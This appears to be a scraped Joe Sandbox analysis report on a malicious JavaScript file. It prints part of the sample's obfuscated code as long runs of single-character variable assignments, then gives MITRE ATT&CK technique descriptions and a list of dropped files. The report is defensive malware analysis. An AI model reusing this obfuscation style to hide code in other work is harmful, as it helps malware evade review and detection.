998	rauiviok = "A";
999	rauiviok = "t";
1000	rauiviok = "b";
1001	rauiviok = "L";
1002	rauiviok = "O";
1003	rauiviok = "J";
1004	rauiviok = "w";
1005	rauiviok = "G";
1006	rauiviok = "y";
1007	rauiviok = "j";
1008	rauiviok = "H";
1009	rauiviok = "h";
1010	rauiviok = "D";
1011	rauiviok = "X";
1012	rauiviok = "U";
1013	rauiviok = "t";
1014	rauiviok = "P";
1015	rauiviok = "s";
1016	rauiviok = "m";
1017	rauiviok = "i";
1018	rauiviok = "A";
1019	rauiviok = "i";
1020	rauiviok = "b";
1021	rauiviok = "u";
1022	rauiviok = "d";
1023	rauiviok = ".";
1024	wzoqolyb = "Z";
1025	wzoqolyb = "g";
1026	wzoqolyb = "o";
1027	wzoqolyb = "P";
1028	wzoqolyb = "t";
1029	wzoqolyb = "M";
1030	wzoqolyb = "t";
1031	wzoqolyb = "k";
1032	wzoqolyb = "v";
1033	wzoqolyb = "E";
1034	wzoqolyb = "N";
1035	wzoqolyb = "u";
1036	wzoqolyb = "d";
1037	wzoqolyb = "B";
1038	wzoqolyb = "y";
1039	wzoqolyb = "Z";
1040	wzoqolyb = "v";
1041	wzoqolyb = "b";
1042	wzoqolyb = "X";
1043	wzoqolyb = "c";
1044	wzoqolyb = "Z";
1045	wzoqolyb = "E";
1046	wzoqolyb = "k";
1047	wzoqolyb = "S";
1048	wzoqolyb = "R";
1049	wzoqolyb = "o";
1050	wzoqolyb = "Q";
1051	wzoqolyb = "S";
1052	wzoqolyb = "P";
1053	wzoqolyb = "F";
1054	wzoqolyb = "I";
1055	wzoqolyb = "n";
1056	wzoqolyb = "V";
1057	wzoqolyb = "R";
1058	wzoqolyb = "N";
1059	wzoqolyb = "x";
1060	wzoqolyb = "j";
1061	wzoqolyb = "W";
1062	wzoqolyb = "m";
1063	wzoqolyb = "e";
1064	wzoqolyb = "-";
1065	ahjkcw = "y";
1066	ahjkcw = "l";
1067	ahjkcw = "g";
1068	ahjkcw = "M";
1069	ahjkcw = "N";
1070	ahjkcw = "B";
1071	ahjkcw = "n";
1072	ahjkcw = "d";
1073	ahjkcw = "h";
1074	ahjkcw = "N";
1075	ahjkcw = "C";
1076	ahjkcw = "L";
1077	ksrritoi = "E";
1078	ksrritoi = "d";
1079	ksrritoi = "u";
1080	ksrritoi = "R";
1081	ksrritoi = "z";
1082	ksrritoi = "E";
1083	ksrritoi = "w";
1084	ksrritoi = "y";
1085	ksrritoi = "F";
1086	ksrritoi = "u";
1087	ksrritoi = "q";
1088	ksrritoi = "B";
1089	ksrritoi = "F";
1090	ksrritoi = "F";
1091	ksrritoi = "Y";
1092	wcnfldce = "K";
1093	wcnfldce = "9";
1094	xenjjl = "j";
1095	xenjjl = "J";
1096	xenjjl = "z";
1097	xenjjl = "U";
1098	xenjjl = "T";
1099	xenjjl = "N";
1100	xenjjl = "i";
1101	xenjjl = "K";
1102	xenjjl = "Q";
1103	xenjjl = "o";
1104	xenjjl = "q";
1105	xenjjl = "z";
1106	xenjjl = "v";
1107	xenjjl = "m";
1108	xenjjl = "q";
1109	xenjjl = "y";
1110	xenjjl = "b";
1111	xenjjl = "k";
1112	xenjjl = "M";
1113	xenjjl = "n";
1114	xenjjl = "k";
1115	xenjjl = "x";
1116	xenjjl = "t";
1117	xenjjl = "Y";
1118	xenjjl = "h";
1119	xenjjl = "H";
1120	xenjjl = "u";
1121	zjbiwjabz = "u";
1122	zjbiwjabz = "d";
1123	zjbiwjabz = "A";
1124	zjbiwjabz = "p";
1125	zjbiwjabz = "t";
1126	zjbiwjabz = "q";
1127	zjbiwjabz = "V";
1128	zjbiwjabz = "l";
1129	zjbiwjabz = "o";
1130	zjbiwjabz = "n";
1131	zjbiwjabz = "X";
1132	zjbiwjabz = "V";
1133	zjbiwjabz = "J";
1134	zjbiwjabz = "M";
1135	zjbiwjabz = "J";
1136	zjbiwjabz = "y";
1137	zjbiwjabz = "M";
1138	zjbiwjabz = "G";
1139	zjbiwjabz = "K";
1140	zjbiwjabz = "d";
1141	zjbiwjabz = "a";
1142	zjbiwjabz = "b";
1143	zjbiwjabz = "k";
1144	zjbiwjabz = "i";
1145	zjbiwjabz = "i";
1146	zjbiwjabz = "g";
1147	zjbiwjabz = "F";
1148	zjbiwjabz = "q";
1149	zjbiwjabz = "F";
1150	zjbiwjabz = "v";
1151	zjbiwjabz = "x";
1152	zjbiwjabz = "p";
1153	zjbiwjabz = "a";
1154	zjbiwjabz = "p";
1155	zjbiwjabz = "O";
1156	zjbiwjabz = "E";
1157	zjbiwjabz = "c";
1158	zjbiwjabz = "T";
1159	zjbiwjabz = "s";
1160	ldpjjqndv = "k";
1161	ldpjjqndv = "Q";
1162	ldpjjqndv = "s";
1163	ldpjjqndv = "u";
1164	ldpjjqndv = "w";
1165	ldpjjqndv = "l";
1166	ldpjjqndv = "A";
1167	ldpjjqndv = "J";
1168	ldpjjqndv = "x";
1169	ldpjjqndv = "O";
1170	ldpjjqndv = "Y";
1171	ldpjjqndv = "I";
1172	ldpjjqndv = "O";
1173	ldpjjqndv = "Q";
1174	ldpjjqndv = "d";
1175	ldpjjqndv = "b";
1176	ldpjjqndv = "Y";
1177	ldpjjqndv = "Q";
1178	ldpjjqndv = "u";
1179	ldpjjqndv = "l";
1180	ldpjjqndv = "c";
1181	ldpjjqndv = "Z";
1182	ldpjjqndv = "l";
1183	ldpjjqndv = "C";
1184	ldpjjqndv = "j";
1185	ldpjjqndv = "i";
1186	ldpjjqndv = "a";
1187	vsaeycdgc = "P";
1188	vsaeycdgc = "f";
1189	vsaeycdgc = "M";
1190	vsaeycdgc = "K";
1191	vsaeycdgc = "p";
1192	vsaeycdgc = "T";
1193	vsaeycdgc = "n";
1194	vsaeycdgc = "j";
1195	vsaeycdgc = "R";
1196	vsaeycdgc = "b";
1197	vsaeycdgc = "b";
1198	vsaeycdgc = "E";
1199	vsaeycdgc = "r";
1200	vsaeycdgc = "y";
1201	vsaeycdgc = "I";
1202	vsaeycdgc = "v";
1203	vsaeycdgc = "b";
1204	vsaeycdgc = "c";
1205	vsaeycdgc = "x";
1206	vsaeycdgc = "c";
1207	vsaeycdgc = "x";
1208	vsaeycdgc = "R";
1209	vsaeycdgc = "z";
1210	vsaeycdgc = "S";
1211	vsaeycdgc = "m";
1212	vsaeycdgc = "U";
1213	vsaeycdgc = "M";
1214	vsaeycdgc = "F";
1215	vsaeycdgc = "t";
1216	vsaeycdgc = "T";
1217	vsaeycdgc = "I";
1218	vsaeycdgc = "N";
1219	vsaeycdgc = "q";
1220	vsaeycdgc = "M";
1221	vsaeycdgc = "V";
1222	vsaeycdgc = "U";
1223	vsaeycdgc = "d";
1224	vsaeycdgc = "r";
1225	vsaeycdgc = "y";
1226	vsaeycdgc = "J";
1227	vsaeycdgc = "S";
1228	vsaeycdgc = "D";
1229	vsaeycdgc = "h";
1230	vsaeycdgc = "Y";
1231	vsaeycdgc = "3";
1232	pycssuuow = "n";
1233	sisyj = "q";
1234	sisyj = "N";
1235	sisyj = "g";
1236	sisyj = "C";
1237	sisyj = "g";
1238	sisyj = "w";
1239	sisyj = "u";
1240	sisyj = "N";
1241	sisyj = "W";
1242	sisyj = "L";
1243	sisyj = "b";
1244	sisyj = "u";
1245	sisyj = "N";
1246	sisyj = "w";
1247	sisyj = "F";
1248	sisyj = "c";
1249	sisyj = "f";
1250	sisyj = "X";
1251	sisyj = "B";
1252	sisyj = "J";
1253	sisyj = "H";
1254	sisyj = "L";
1255	sisyj = "Q";
1256	sisyj = "c";
1257	oqcpusru = "p";
1258	oqcpusru = "i";
1259	oqcpusru = "q";
1260	oqcpusru = "L";
1261	oqcpusru = "&";
1262	hubvme = "k";
1263	hubvme = "F";
1264	hubvme = "F";
1265	hubvme = "m";
1266	hubvme = "d";
1267	hubvme = "h";
1268	hubvme = "T";
1269	hubvme = "t";
1270	hubvme = "G";
1271	hubvme = "J";
1272	hubvme = "S";
1273	nflmyvlfa = "A";
1274	nflmyvlfa = "i";
1275	nflmyvlfa = "E";
1276	nflmyvlfa = "I";
1277	nflmyvlfa = "h";
1278	nflmyvlfa = "F";
1279	nflmyvlfa = "\\";
1280	buboypv = "a";
1281	buboypv = "W";
1282	buboypv = "S";
1283	buboypv = "h";
1284	buboypv = "I";
1285	buboypv = "c";
1286	buboypv = "o";
1287	buboypv = "h";
1288	buboypv = "b";
1289	buboypv = "F";
1290	buboypv = "C";
1291	buboypv = "x";
1292	buboypv = "c";
1293	buboypv = "n";
1294	buboypv = "f";
1295	buboypv = "m";
1296	buboypv = "m";
1297	buboypv = "W";
1298	buboypv = "B";
1299	buboypv = "u";
1300	buboypv = "A";
1301	buboypv = "f";
1302	buboypv = "Z";
1303	buboypv = "b";
1304	buboypv = "h";
1305	buboypv = "v";
1306	buboypv = "s";
1307	buboypv = "H";
1308	buboypv = "Z";
1309	buboypv = "i";
1310	buboypv = "S";
1311	buboypv = "n";
1312	buboypv = "O";
1313	buboypv = "z";
1314	buboypv = "p";
1315	buboypv = "e";
1316	buboypv = "Y";
1317	buboypv = "V";
1318	buboypv = "u";
1319	buboypv = "A";
1320	buboypv = "n";
1321	buboypv = "u";
1322	buboypv = "d";
1323	wdnkg = "S";
1324	wdnkg = "G";
1325	wdnkg = "m";
1326	wdnkg = "e";
1327	wdnkg = "r";
1328	wdnkg = "V";
1329	wdnkg = "U";
1330	wdnkg = "H";
1331	wdnkg = "M";
1332	wdnkg = "L";
1333	wdnkg = "p";
1334	wdnkg = "W";
1335	wdnkg = "Q";
1336	wdnkg = "m";
1337	negepamt = "b";
1338	negepamt = "m";
1339	negepamt = "y";
1340	negepamt = "O";
1341	negepamt = "S";
1342	negepamt = "V";
1343	negepamt = "j";
1344	negepamt = "M";
1345	negepamt = "t";
1346	negepamt = "F";
1347	negepamt = "i";
1348	negepamt = "k";
1349	seexzutv = "g";
1350	seexzutv = "m";
1351	seexzutv = "U";
1352	seexzutv = "b";
1353	seexzutv = "m";
1354	seexzutv = "P";
1355	seexzutv = "k";
1356	seexzutv = "a";
1357	seexzutv = "K";
1358	seexzutv = "z";
1359	seexzutv = "H";
1360	seexzutv = "M";
1361	seexzutv = "L";
1362	seexzutv = "K";
1363	seexzutv = "B";
1364	seexzutv = "Q";
1365	seexzutv = "i";
1366	seexzutv = "g";
1367	poxds = "R";
1368	poxds = "b";
1369	poxds = "P";
1370	poxds = "E";
1371	poxds = "T";
1372	poxds = "b";
1373	poxds = "g";
1374	poxds = "m";
1375	poxds = "u";
1376	poxds = "b";
1377	poxds = "V";
1378	poxds = "N";
1379	poxds = "Z";
1380	poxds = "F";
1381	poxds = "K";
1382	poxds = "W";
1383	poxds = "V";
1384	poxds = "t";
1385	poxds = "G";
1386	poxds = "D";
1387	poxds = "z";
1388	poxds = "B";
1389	poxds = "E";
1390	poxds = "2";
1391	kykyrs = "d";
1392	kykyrs = "w";
1393	kykyrs = "E";
1394	kykyrs = "Y";
1395	kykyrs = "M";
1396	kykyrs = "g";
1397	kykyrs = "R";
1398	kykyrs = "Q";
1399	kykyrs = "Z";
1400	kykyrs = "w";
1401	kykyrs = "r";
1402	kykyrs = "X";
1403	kykyrs = "G";
1404	kykyrs = "G";
1405	kykyrs = "F";
1406	kykyrs = "L";
1407	kykyrs = "X";
1408	kykyrs = "X";
1409	kykyrs = "G";
1410	kykyrs = "M";
1411	kykyrs = "W";
1412	nmjoe = "p";
1413	nmjoe = "v";
1414	nmjoe = "C";
1415	nmjoe = "n";
1416	nmjoe = "n";
1417	nmjoe = "I";
1418	nmjoe = "B";
1419	nmjoe = "v";
1420	nmjoe = "c";
1421	nmjoe = "i";
1422	nmjoe = "y";
1423	nmjoe = "Z";
1424	nmjoe = "A";
1425	nmjoe = "K";
1426	nmjoe = "T";
1427	nmjoe = "q";
1428	nmjoe = "T";
1429	nmjoe = "W";
1430	nmjoe = "z";
1431	nmjoe = "p";
1432	nmjoe = "O";
1433	nmjoe = "K";
1434	nmjoe = "O";
1435	nmjoe = "g";
1436	nmjoe = "w";
1437	nmjoe = "E";
1438	nmjoe = "h";
1439	nmjoe = "r";
1440	nmjoe = "Q";
1441	nmjoe = "F";
1442	nmjoe = "N";
1443	nmjoe = "v";
1444	nmjoe = "p";
1445	nmjoe = "E";
1446	nmjoe = "0";
1447	zfoug = "s";
1448	zfoug = "Q";
1449	zfoug = "d";
1450	zfoug = "I";
1451	zfoug = "d";
1452	zfoug = "j";
1453	zfoug = "Y";
1454	zfoug = "U";
1455	zfoug = "U";
1456	lbrwf ( );	lbrwf() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 24233226922003220721.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\91f3bc43-7edf-4869-9a1f-31760f4c6c1d.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF4e7851.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f2bb87e0-9e8f-470f-b68f-dc1731718839.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Windows Analysis Report
24233226922003220721.js